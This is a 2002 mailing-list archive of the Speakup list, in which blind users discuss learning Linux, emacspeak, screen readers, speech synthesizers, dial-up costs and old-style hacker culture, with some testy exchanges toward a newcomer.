That for the only reason that I was not a student of iT  Faculty, and for
the students of Economics Science, it was no access at all to that kind of
Internet of those days.
That's why I like Bill Gates. He gave access to computer for all the people,
not only for the specialists.
Now I don't like him because he want  to  control and monitor all the world.

... and like most of people,  even though they don't like to admit, I don't
like Bill Gates because he is very reach and wants more money from poor
people.


Teddy,
orasnita@home.ro

----- Original Message -----
From: "Kerry Hoath" <kerry@gotss.net>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 10:27 AM
Subject: Re: interesting experiment.


awwwwwwww shucks :-) that at least cheers me up emensely.
It's not just this list; it seems that the new breed of IT people aren't
like us oldschool bunch.
I remember the net before the world wide web; when archie
was the search tool of choice. I don't want to go back
to those days; but it is interesting to reflect on.

Regards, Kerry.
On Sun, May 19, 2002 at 02:41:59PM -0400, Janina Sajka wrote:
> > On Sun, May 19, 2002 at 05:59:58PM +0800, Kerry Hoath wrote:
>
> > > Maybe I am becoming disalusioned, but it seems so many people these
days have
> > > no desire to know how things work, I mean really work.
>
> Kerry:
>
> I suspect some of this desire to remain ignorant becomes more
> prevalent when something becomes more popular. But, please don't
> become disillusioned with us here on this list. I'm sure I'm not
> the only one that really appreciates your thoughtful and precise
> posts. Your name comes up frequently in my saved folders because
> of the knowledge and support you've provided here. I just want
> you know that I, for one, appreciate you.
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>

--
Kerry Hoath:  kerry@gotss.net kerry@gotss.eu.org or
kerry@gotss.spice.net.au
ICQ: 8226547 msn: kerry@gotss.net Yahoo: kerryhoath@yahoo.com.au

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Re: Hackers

[Octavian Rasnita]

See? Now I think you understand what I am trying to say.
I learned the MS DOS commands before even seing a computer. Yes, before even
seing and even though I knew what each command was doing, even though there
were many strange commands also for my knowledge of that time, I didn't know
if that prompt will appear at the bottom of the screen or in the middle or
elsewhere.

Now, I don't like to happen me the thing you describe.
I don't want to open a computer with the today technology (and this mean
graphical interface)  and don't know what to do there.
I know, the thing that I've learned DOS pretty well, helped me a lot to
understand how Windows works, or how the internet works, and probably
learning the Linux command lines will also help me, but I can't find the
right tools for working with Linux in command line mode.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Igor Gueths" <igueths@attbi.com>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 9:47 PM
Subject: Re: Hackers


Hi Rich. Same here. I knew all the ins and outs of my old Dos machine. Then
Winblows came along, and things got more complicated and nothing made sense.
Now I use Linux, and things are falling back into place for me in terms of
what I knew about working with Irix on a ppp connection back about 7-8 years
ago.
----- Original Message -----
From: Rich Caloggero <rjc@MIT.EDU>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 7:56 AM
Subject: Hackers


> A resounding "me too". The old-style hacker is really going out of style
it
> seems. But maybe its more than that. Maybe things are just getting
> exponentially more complex, while also becoming more commercialized. I
> remember working on unix in the 80s on a network of Apollo workstations.
It
> seemed I knew everything about those machines and the OS, right down to
the
> system calls. Now, over 15 years later, I find myself fighting just to
keep
> up with the technology, and find I know very little about any one thing.
> Now, is that because I'm not 20 something anymore, or because there's just
> that much more to know, etc. Still hesitate to call myself a true hacker
> though; I'm just not that smart!
>
>                     Rich
>
> ----- Original Message -----
> From: "Kerry Hoath" <kerry@gotss.net>
> To: <speakup@braille.uwo.ca>
> Sent: 20 May, 2002 3:27 AM
> Subject: Re: interesting experiment.
>
>
> awwwwwwww shucks :-) that at least cheers me up emensely.
> It's not just this list; it seems that the new breed of IT people aren't
> like us oldschool bunch.
> I remember the net before the world wide web; when archie
> was the search tool of choice. I don't want to go back
> to those days; but it is interesting to reflect on.
>
> Regards, Kerry.
> On Sun, May 19, 2002 at 02:41:59PM -0400, Janina Sajka wrote:
> > > On Sun, May 19, 2002 at 05:59:58PM +0800, Kerry Hoath wrote:
> >
> > > > Maybe I am becoming disalusioned, but it seems so many people these
> days have
> > > > no desire to know how things work, I mean really work.
> >
> > Kerry:
> >
> > I suspect some of this desire to remain ignorant becomes more
> > prevalent when something becomes more popular. But, please don't
> > become disillusioned with us here on this list. I'm sure I'm not
> > the only one that really appreciates your thoughtful and precise
> > posts. Your name comes up frequently in my saved folders because
> > of the knowledge and support you've provided here. I just want
> > you know that I, for one, appreciate you.
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
>
> --
> Kerry Hoath:  kerry@gotss.net kerry@gotss.eu.org or
> kerry@gotss.spice.net.au
> ICQ: 8226547 msn: kerry@gotss.net Yahoo: kerryhoath@yahoo.com.au
>
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup


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Re: interesting experiment.

[Octavian Rasnita]

Hi, thank you for that email address. I didn't know that there is such a
thing.
But I will receive the list of items found, then I will have to go online to
view the first item found, and I will see that it is not the thing that I
need, and I will check the next and the next, and so on.

The problem is not that I don't have 2 phone lines.
I am not paying anything for the internet.
The problem is that in my country there is a single fixed line phone
service provider and their prices are very high.
For example, if I stay 3 hours dayly online for a month (this means 90
hours) I have to pay 43.5 dollars (US dollars).
43 USD is a little bit too expensive, even for a  sighted, so i don't
connect to internet in the day time but only in the night time.
This costs me  only 20 dollars monthly for the same amount of time online.

So that's why I don't stay online too much, not for other reasons.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Kerry Hoath" <kerry@gotss.net>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 10:52 AM
Subject: Re: interesting experiment.


Yes it does work offline actually or there is an offline mode.
Just send your query text in the body of a message to
google@capeclear.com and you'll get  your results back.
Regarding not beeing online all the time; do what I did and
get another phone line. Not all of us worldwide have cable
and especially not in Australia. Alternatively wait for v.92
that has the ability to put modem calls on hold and supports call waiting
and
phase 2 caller ID whilst you are online.
On Mon, May 20, 2002 at 05:16:32AM +0300, Octavian Rasnita wrote:
> Ha ha, thank you!
> Google? Does it work offline?
>
> Cheers.
> Teddy,
> orasnita@home.ro
>
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 8:37 PM
> Subject: Re: interesting experiment.
>
>
> All right, Newbies, Listen Up!
>
> There's something called Google. It's your friend. You use it
> with your favorite web browser. It's real easy and it's lynx
> friendly. And, it finds the answers to almost all of the "where
> do I find" questions I've seen on this list in the last 6 months,
> and puts them on the first screen of results.
>
> Learn to use Google. Keep it open in a second console.
>
> The field where you type in your search string is the fourth
> field on the main Google screen. The submit button is the next
> field.
>
> This is not rocket science. It isn't even hard.
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>

--
Kerry Hoath:  kerry@gotss.net kerry@gotss.eu.org or
kerry@gotss.spice.net.au
ICQ: 8226547 msn: kerry@gotss.net Yahoo: kerryhoath@yahoo.com.au

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Re: interesting experiment.

[Kerry Hoath]

v.92 is here, go look at
http://www.v92.com
I doubt Linux supports the on hold features but it might; I just didn't bother and got
2 phone lines 1 for data one for voice.
$20 Australian a month saved me all sorts of grief.
On Mon, May 20, 2002 at 12:26:08PM -0500, Gregory Nowak wrote:
> Wow, that's nice. When is v.92 due to arrive?
> Greg
> 
> 
> On Mon, May 20, 2002 at 03:52:17PM +0800, Kerry Hoath wrote:
> > Yes it does work offline actually or there is an offline mode.
> > Just send your query text in the body of a message to
> > google@capeclear.com and you'll get  your results back.
> > Regarding not beeing online all the time; do what I did and
> > get another phone line. Not all of us worldwide have cable
> > and especially not in Australia. Alternatively wait for v.92
> > that has the ability to put modem calls on hold and supports call waiting and
> > phase 2 caller ID whilst you are online.

-- 
Kerry Hoath:  kerry@gotss.net kerry@gotss.eu.org or  kerry@gotss.spice.net.au
ICQ: 8226547 msn: kerry@gotss.net Yahoo: kerryhoath@yahoo.com.au

Re: interesting experiment.

[Octavian Rasnita]

Maybe it is a stupy question, but I want to use lynx and pine. Do I have
another option than putting emacspeak in terminal mode?

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Dave Hunt <" <dave.hunt2@verizon.net>
To: <speakup@braille.uwo.ca>
Sent: Tuesday, May 21, 2002 2:05 AM
Subject: Re: interesting experiment.


Anne,

I find the documentation for term mode is better in emacspeak 15 than
in previous versions.  Maybe It is I what is improving??  LOL.

I find terminal mode sufficient for lynx (There are sites I visit,
that w3 will not handle well), and even the Redhat setup tools.
Wouldn't want to use it for things like chatting or instant messaging,
though, I have.

-Dave

Ann Parsons writes:
 > Hi all,
 >
 > Teddy, Terminal mode in Emacs is one of the things it doesn't do well,
 > and its documentation is not good.  Janina, can you help in this area?

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Re: interesting experiment.

[Octavian Rasnita]

As a web browser under Windows I use IE, but under Linux I would like to use
lynx  because I've used it before becoming blind and I think I may find it
easier to learn.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Ann Parsons" <akp@eznet.net>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 4:14 PM
Subject: Re: interesting experiment.


Hi all,

Teddy, what are you using as a web browser?  Lynx?  W3?  MSIE?

Ann P.

--
Ann K. Parsons
email:  akp@eznet.net ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."
JRRT


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Re: interesting experiment.

[Octavian Rasnita]

Ok Ok, thank you. <smile>
Finally, it seems that you condemn me to learn emacs.
If it is necessary, ... with pleasure.
But I find the help file very hard to navigate and even to read.
I have a lot of questions about emacspeak and you won't like if I would ask
them on the list.
You will say RTFM.
I want to RTFM but it is very hard.

Please tell me where on the hard disk is the manual for emacspeak, and I
will try to copy and read it under Windows, and then I may find it easier to
use the program.

I already have this kind of experience. I've tried learning Window Eyes,
that is the second most used screen reader for Windows, but I needed to read
its help file with Jaws because it was more simple.

It would be great if I could read the emacspeak help file as a simple text
file in Windows.

BTW. What is the name of the control key under Linux? I've seen that
emacspeak uses only c letter   and if I remember well, it also uses another
name for escape.
Thanks.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Ann Parsons" <akp@eznet.net>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 4:18 PM
Subject: Re: interesting experiment.


Hi all,

This is the third time you've asked for a text editor under Linux.

TRY EMACS IT WRITES IN TEXT, IT WRITES IN TEXT!!!!

Plus, you can compile your PERL PROGRAMS FROM WITHIN EMACS TOO.

aNN p.

--
Ann K. Parsons
email:  akp@eznet.net ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."
JRRT


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Octavian Rasnita]

As a good idea, I think that a good tutorial should start thinking that a
new user of linux used Windows until that moment.
I don't know if a person with absolutely no experience in computers, would
start learning linux these days.
I think the new Linux users know  at least DOS or Windows.

So the tutorial should  say that the ls command is like the dir command for
dos, but the differences are: ...
Then it should explain the differences between the 2 OS's telling how to
copy a file to a floppy, why it should be mounted, etc.
I don't know if there are installers for Linux that can install this OS with
only a few enter keys , or without a hardware sinthesizer, etc, so the
installation  of Linux is not so important for an absolute beginner  because
perhaps an advanced user will install the OS.

Another good starting tutorial would be explaining all the available  screen
readers, sinthesizers, telling what is a "talking environment like emacs,
comparing the screen readers for DOS and windows with those for Linux,
comparing the responsiveness and sound quality of sinthesizers, and
comparing them with  each other.

This way, for a new user would be much easier to  choose what they want and
what is more appropriate for what they want to do with the computer.


Teddy,
orasnita@home.ro

----- Original Message -----
From: "Ann Parsons" <akp@eznet.net>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 5:48 PM
Subject: Re: interesting experiment.


Hi all,

I have left this post in here because it is cogent and it applies
here.

Excuse me for speaking bluntly, but what is needed here is some
education mentality.  We've received several messages from one person
this morning who is trying his best to learn Linux.  He has to learn
Linux for his job or school or something He's working with a set of
circumstances that are not the best.

First, he is using software speech in Linux via emacs because Dectalk
PC is not supported by Speakup.  So, he's kinda between a rock and a
hard place.

Second, English is not his native tongue and he is having a hard time
understanding docs and what commands to use.

Third, he has a learning style that needs to be accommodated.  This
takes understanding and patience.

Charles, if ACB is interested in Linux, that's super.  Is there any
way I can help?  I'd be happy to write tutorials, except that I'm not
good at all the commands and so on.  If someone gave me all the
commands and that, I could write a tutorial.  Is there perhaps someone
who would like to collaborate with me on writing Linux Tutorials for
the blind?

Ann P.
>>>>> "Hi all,Charles" == Charles Crawford <ccrawford@acb.org> writes:

    Hi all,Charles>          OK, now I need to speak from the view of
    Hi all,Charles> the American council of the blind with respect to
    Hi all,Charles> this thread.

    Hi all,Charles>          We want to see alternatives to the
    Hi all,Charles> dominant Ms-Windows operating system and
    Hi all,Charles> applications that are accessible and user
    Hi all,Charles> friendly.  We realize there is a culture around
    Hi all,Charles> Linux that we do not wish to displace or otherwise
    Hi all,Charles> change, yet the culture demands a level of
    Hi all,Charles> personal involvement and knowledge that is neither
    Hi all,Charles> easy to obtain from the available resources nor
    Hi all,Charles> easy to learn once those resources are found.
    Hi all,Charles> Hence, the participation of the wider blindness
    Hi all,Charles> community is not likely unless there are new ways
    Hi all,Charles> of learning and using Linux that maintain the
    Hi all,Charles> accessibility and lack of expense that are so
    Hi all,Charles> attractive.

    Hi all,Charles>          It is not a matter of telling folks to
    Hi all,Charles> read the manual when the manual is prefaced upon
    Hi all,Charles> an expectation of understanding that is greater
    Hi all,Charles> than the average person starting out.  Neither is
    Hi all,Charles> it helpful to assume that everyone is going to be
    Hi all,Charles> able to prioritize their time to dedicate to Linux
    Hi all,Charles> in the same way as others have.

    Hi all,Charles>          This is not a hobby.  It is an operating
    Hi all,Charles> system for use by those who need the access and
    Hi all,Charles> affordability of it.  So let's admit that we need
    Hi all,Charles> to accommodate those interests and find a way to
    Hi all,Charles> do it that is not threatening to the current
    Hi all,Charles> community of users.

    Hi all,Charles>          For the reasons above, ACBH is attempting
    Hi all,Charles> to find the resources to get the internal speech
    Hi all,Charles> engine we need to put speakup inside the box with
    Hi all,Charles> internal quality speech.  That will expand the
    Hi all,Charles> user base because we won't be hunting around for
    Hi all,Charles> hardware that is slowly disappearing.

    Hi all,Charles>          Next we need to look at the usability
    Hi all,Charles> issue.  This does not mean we try and change the
    Hi all,Charles> nature of Linux and it's syntax, but we do need to
    Hi all,Charles> look at any avenues to either make it more easy
    Hi all,Charles> for folks to learn the context through tutorials
    Hi all,Charles> for example or possible other ways.

    Hi all,Charles>          In the end, Linux is a robust product
    Hi all,Charles> that need not be seen as having only one road to
    Hi all,Charles> access.  So let's stop making assumptions about
    Hi all,Charles> the people who are only trying to use this cool
    Hi all,Charles> operating system and start making an environment
    Hi all,Charles> that supports all who want to use it.

    Hi all,Charles> -- Charlie Crawford.  At 04:34 PM 5/19/02 -0400,
    Hi all,Charles> you wrote:
    >> I think that most people know how to search for things on the
    >> internet. I think you need to stop and think about the fact
    >> that not all people are good at finding things and that's why
    >> we ask for help. If I could find all of the answers to my
    >> problems, I wouldn't be asking.:p Before you start treating new
    >> people like their idiots, try to remember that we're all
    >> different, we all learn in different ways, and sometimes we
    >> miss stuff.
    >>
    >>
    >>
    >> On Sun, 19 May 2002, Janina Sajka wrote:
    >>
    >> > All right, Newbies, Listen Up!
    >> >
    >> > There's something called Google. It's your friend. You use it
    >> > with your favorite web browser. It's real easy and it's lynx
    >> > friendly. And, it finds the answers to almost all of the
    >> "where > do I find" questions I've seen on this list in the
    >> last 6 months, > and puts them on the first screen of results.
    >> >
    >> > Learn to use Google. Keep it open in a second console.
    >> >
    >> > The field where you type in your search string is the fourth
    >> > field on the main Google screen. The submit button is the
    >> next > field.
    >> >
    >> > This is not rocket science. It isn't even hard.
    >> >
    >> >
    >> > _______________________________________________ > Speakup
    >> mailing list > Speakup@braille.uwo.ca >
    >> http://speech.braille.uwo.ca/mailman/listinfo/speakup
    >> >
    >>
    >>
    >> _______________________________________________ Speakup mailing
    >> list Speakup@braille.uwo.ca
    >> http://speech.braille.uwo.ca/mailman/listinfo/speakup


    Hi all,Charles> _______________________________________________
    Hi all,Charles> Speakup mailing list Speakup@braille.uwo.ca
    Hi all,Charles> http://speech.braille.uwo.ca/mailman/listinfo/speakup

--
Ann K. Parsons
email:  akp@eznet.net ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."
JRRT


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Octavian Rasnita]

Hi, Thanks for the tips.
What do you mean by m-x?
Should I type M, then - then  x?

Thanks.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Ann Parsons" <akp@eznet.net>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 4:58 PM
Subject: Re: interesting experiment.


Hi all,

What's wrong with just typing 'm-x shell'?  that will allow you to do
most shell commands.  You can not do a lot of regular apps, but if you
want to write a file, just start writing one by opening one up.  Try
c-x c-f file name.  It will put you in a buffer and you can write as
much as you want.  Give the file the right extension for a CGI program
or for a C program, and you can compile it from within emacs, using
emacspeak.

For example, if you want to write the C program to make the terminal
echo "Hello World", you type:

c-x c-f hello.c

from whithin emacs, and you type in your program.  Then, you use the
proper sequence to compile the program, I believe it is c-c c-c, could
be wrong, and the blessed program is compiled and you can run it.
Emacs will go into what is called 'text mode', when you give it the
proper file extension.  If you call a file 'test.txt' you will be
placed in text mode.  It will give you a lot of options from there.
Try 'c-h m' from any buffer in emacs and you can find out what
commands you can do?

Ann P.
 >>>>> "Octavian" == Octavian Rasnita <orasnita@home.ro> writes:

    Octavian> Of course, because that problem happend me for more
    Octavian> times.  I think I found a little problem but I am not
    Octavian> sure.

    Octavian> When it starts, emacspeak tell me that message that it
    Octavian> is functioning normally (BTW. How can I change that
    Octavian> message?)  and I don't care about that message and I
    Octavian> start pressing the normal shortcuts for launching the
    Octavian> terminal mode before it finishes the message. When I do
    Octavian> that, the terminal doesn't start.  If I let emacspeak to
    Octavian> finish its message, I can start it.

    Octavian> How can I stop the voice? What key should I press if I
    Octavian> want to stop the message?  I searched in the help file
    Octavian> but I couldn't find it.  Teddy, orasnita@home.ro


--
Ann K. Parsons
email:  akp@eznet.net ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."
JRRT




_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Octavian Rasnita]

It would be great. I've seen on speakup site that it is work in progress,
and I've asked on the list.
Somebody even told me that there is support available for DecTalk PC1
internal, but I see that it is not true unfortunately.
Support for a software sinthesizer, like Via Voice would be great.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Charles Crawford" <ccrawford@acb.org>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 5:19 PM
Subject: Re: interesting experiment.


         This is one major reason for us getting internal speech through
speakup.  We will get there.

-- charlie.
At 12:48 AM 5/20/02 -0400, you wrote:
> From some of the comments he's made both  on and off list I get the
>impression that money is a major issue. meaning that he 1 can't afford to
>get a new synth to fully use speakup and 2 he can't afford to pay for
>software either.
>
>
>
>On Mon, 20 May 2002, Janina Sajka wrote:
>
> > Greg:
> >
> > I'm pretty sure he isn't using Speakup. He doesn't have a
> > supported synth. He telnets from his Windows machine, as I
> > recall, and he's tried using ViaVoice directly with emacspeak. Of
> > course, the latter is a very steep learning curve.
> >
> > Still, he's got the DEC Talk internal, and emacs with or without
> > emacspeak is worth learning. Without emacspeak, he can run it
> > over telnet--but I doubt JFW is all that great as a telnet
> > client's screen review program. Also, the default Microsoft
> > telnet is pretty lame. I would think this setup is fraught with
> > frustration.
> >
> > So, emacspeak with that DEC Talk is probably his smartest option
> > right now, with the telnet as a back up to avoid rebooting.
> >
> > I have also suggest yasr and eflite, but he's insisting on
> > nothing less than Eloquence for free, so the DEC Talk is probably
> > the best compromise.
> >
> > Another option would be a better screen reader for telnet and a
> > better telnet client. That would mean a good DOS screen reader
> > like asap or Vocal-Eyes, assuming he can actually run DOS on that
> > Windows machine. Neither of those is very cheap, though, and
> > spending that much money would be dumb, because he could get a
> > good Doubletalk for less than the cost of that software.
> >
> > On Sun, 19 May 2002, Gregory Nowak wrote:
> >
> > > We're all assuming he's using speakup since he's here. But from all
> of Tedy's comments in other posts, I am beginning to get the impression
> that he's not, since he seems to be asking for screen readers which
> support software tts.
> > > Greg
> > >
> > >
> > > On Sun, May 19, 2002 at 10:58:09PM -0400, Deedra Waters wrote:
> > > > Try man < emacs|less then use the speakup keys to read line by line,
or
> > > > word by word if you wish. you can bring up the next page by hitting
the
> > > > space bar.
> > > >
> > > >
> > > > On Mon, 20 May 2002, Octavian Rasnita wrote:
> > > >
> > > > > Please enlighten me.
> > > > > I never used the Jaws cursor in the new HTML help  format under
> Windows.
> > > > > Select an item in the tree view, press enter, then press F6 and
> it will
> > > > > automaticly start reading that help item. It is a simple HTML
> file there,
> > > > > and it works exactly as simple as Internet Explorer.
> > > > > You don't need the Jaws cursor at all.
> > > > >
> > > > > You needed the Jaws cursor only for some bad designed help files
> in the old
> > > > > .hlp format.
> > > > > Now in the new .chm format, you don't have any problems.
> > > > >
> > > > > But this doesn't matter too much. Please tell me how to navigate
> the man
> > > > > pages.
> > > > > I type man mv, for example.
> > > > > It starts to print all the help file, but maybe I want to move
> with a page
> > > > > up then down, etc.
> > > > >
> > > > > I know this is possible. Thanks.
> > > > > Teddy,
> > > > > orasnita@home.ro
> > > > >
> > > > > ----- Original Message -----
> > > > > From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> > > > > To: <speakup@braille.uwo.ca>
> > > > > Sent: Sunday, May 19, 2002 8:05 AM
> > > > > Subject: Re: interesting experiment.
> > > > >
> > > > >
> > > > > SNIP
> > > > > > > You open a window, and it explains you what you should do
there.
> > > > > > > You have to press the space bar to check some checkboxes, to
> press some
> > > > > > > buttons, etc, and if you don't know something, press
> shift+f10 (or the
> > > > > right
> > > > > > > mouse button and choose "what's this?" or press F1 to view
> the help file
> > > > > > > wich is much much more easier to navigate than the man pages
> under
> > > > > Linux.
> > > > > SNIP
> > > > >
> > > > > A fake.
> > > > > man pages under GNU/Linux are a lot easier to navigate than
> windows help
> > > > > pages.
> > > > > you need to route the jaws cursor to the pc and then fart around
> trying to
> > > > > find what you were looking for.
> > > > > even with the new features in jfw I seriously doubt you could
> navigate a
> > > > > help file easier than a man page..
> > > > >
> > > > >
> > > > >
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > >
> > > > >
> > > > >
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> > --
> >
> >                               Janina Sajka, Director
> >                               Technology Research and Development
> >                               Governmental Relations Group
> >                               American Foundation for the Blind (AFB)
> >
> > Email: janina@afb.net         Phone: (202) 408-8175
> >
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
>
>_______________________________________________
>Speakup mailing list
>Speakup@braille.uwo.ca
>http://speech.braille.uwo.ca/mailman/listinfo/speakup


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Octavian Rasnita]

BTW. Regarding servers. Please tell me what it is a server, or better said
what does it do?
I know what it does a web, ftp, mailserver, etc, that listen to a port,
transfer files, etc, but in this case I don't know what is the task of a
server.

Thanks.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Dave Hunt <" <dave.hunt2@verizon.net>
To: <speakup@braille.uwo.ca>
Sent: Tuesday, May 21, 2002 2:27 AM
Subject: Re: interesting experiment.


There is another software synth called "e-flight"?  I've yet to try
it; not even sure whether there's an emacspeak server for it.  It
works with Yasr, right?

-Dave

Octavian Rasnita writes:
 > Ok, at least I know what is the problem now.
 > Are there any better software sinthesizers than Via voice  that can work
 > with emacspeak?

_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Janina Sajka]

Octavian:

Are you aware how inconsistant you are? Do you realize how
discouraging that is to someone who might want to help you out
and give you advice? Do you realize that it means you won't be
taken seriously?

If you hate the sound of the old DEC Talk when you use it with
emacspeak, why would you like it were you able to use it with
Speakup? It would still have the same sound and all those noises
you were complaining about two days ago.

Are you serious about Linux, or are you just here to cause
trouble? You act like you're not serious.

On Mon, 20 May 2002, Octavian Rasnita wrote:

> No, you're right.
> I don't use speakup though I would like to.
> I've read on speakup web page that there is working in progress for making
> the Dec Talk PC 1 card  accessible for speakup and I've subscribed hoping
> that I will find out if there is support or not. Or if there it will ever
> be.
> 
> 
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Gregory Nowak" <greg@romualt.dhs.org>
> To: <speakup@braille.uwo.ca>
> Sent: Monday, May 20, 2002 7:25 AM
> Subject: Re: interesting experiment.
> 
> 
> We're all assuming he's using speakup since he's here. But from all of
> Tedy's comments in other posts, I am beginning to get the impression that
> he's not, since he seems to be asking for screen readers which support
> software tts.
> Greg
> 
> 
> On Sun, May 19, 2002 at 10:58:09PM -0400, Deedra Waters wrote:
> > Try man < emacs|less then use the speakup keys to read line by line, or
> > word by word if you wish. you can bring up the next page by hitting the
> > space bar.
> >
> >
> > On Mon, 20 May 2002, Octavian Rasnita wrote:
> >
> > > Please enlighten me.
> > > I never used the Jaws cursor in the new HTML help  format under Windows.
> > > Select an item in the tree view, press enter, then press F6 and it will
> > > automaticly start reading that help item. It is a simple HTML file
> there,
> > > and it works exactly as simple as Internet Explorer.
> > > You don't need the Jaws cursor at all.
> > >
> > > You needed the Jaws cursor only for some bad designed help files in the
> old
> > > .hlp format.
> > > Now in the new .chm format, you don't have any problems.
> > >
> > > But this doesn't matter too much. Please tell me how to navigate the man
> > > pages.
> > > I type man mv, for example.
> > > It starts to print all the help file, but maybe I want to move with a
> page
> > > up then down, etc.
> > >
> > > I know this is possible. Thanks.
> > > Teddy,
> > > orasnita@home.ro
> > >
> > > ----- Original Message -----
> > > From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Sunday, May 19, 2002 8:05 AM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > SNIP
> > > > > You open a window, and it explains you what you should do there.
> > > > > You have to press the space bar to check some checkboxes, to press
> some
> > > > > buttons, etc, and if you don't know something, press shift+f10 (or
> the
> > > right
> > > > > mouse button and choose "what's this?" or press F1 to view the help
> file
> > > > > wich is much much more easier to navigate than the man pages under
> > > Linux.
> > > SNIP
> > >
> > > A fake.
> > > man pages under GNU/Linux are a lot easier to navigate than windows help
> > > pages.
> > > you need to route the jaws cursor to the pc and then fart around trying
> to
> > > find what you were looking for.
> > > even with the new features in jfw I seriously doubt you could navigate a
> > > help file easier than a man page..
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Janina Sajka]

A better solution would be to get ASAP instead of JAWS for DOS.
But that would cost you more than a Doubletalk internal card
which would allow you to use Linux and Speakup natively. Your
real problem is that lame excuse of a DOS screen reader called
JAWS.

On Mon, 20 May 2002, Octavian Rasnita wrote:

> Yes I am connecting to the Linux machine but not with the default Telnet
> included in Windows. I use SecureCRT and I use SSH2 protocol to work under
> Linux.
> The program is pretty accessible, but of course it is not very friendly to
> use because  I have to read the screen with the mouse cursor (the Jaws
> cursor).
> 
> I know a better solution would be to install NCSA Telnet for DOS.
> That program works fine under DOS and I heard that  it is easier to use than
> a windows program.
> 
> I've downloaded it, but I need to configure it and I need to find a good DOS
> screen reader.
> This won't be such a big problem, but the main idea is that I would like to
> use only the Linux machine, not 2 computers in the same time.
> 
> I am willing to try more screen readers and sinthesizers, and as a matter of
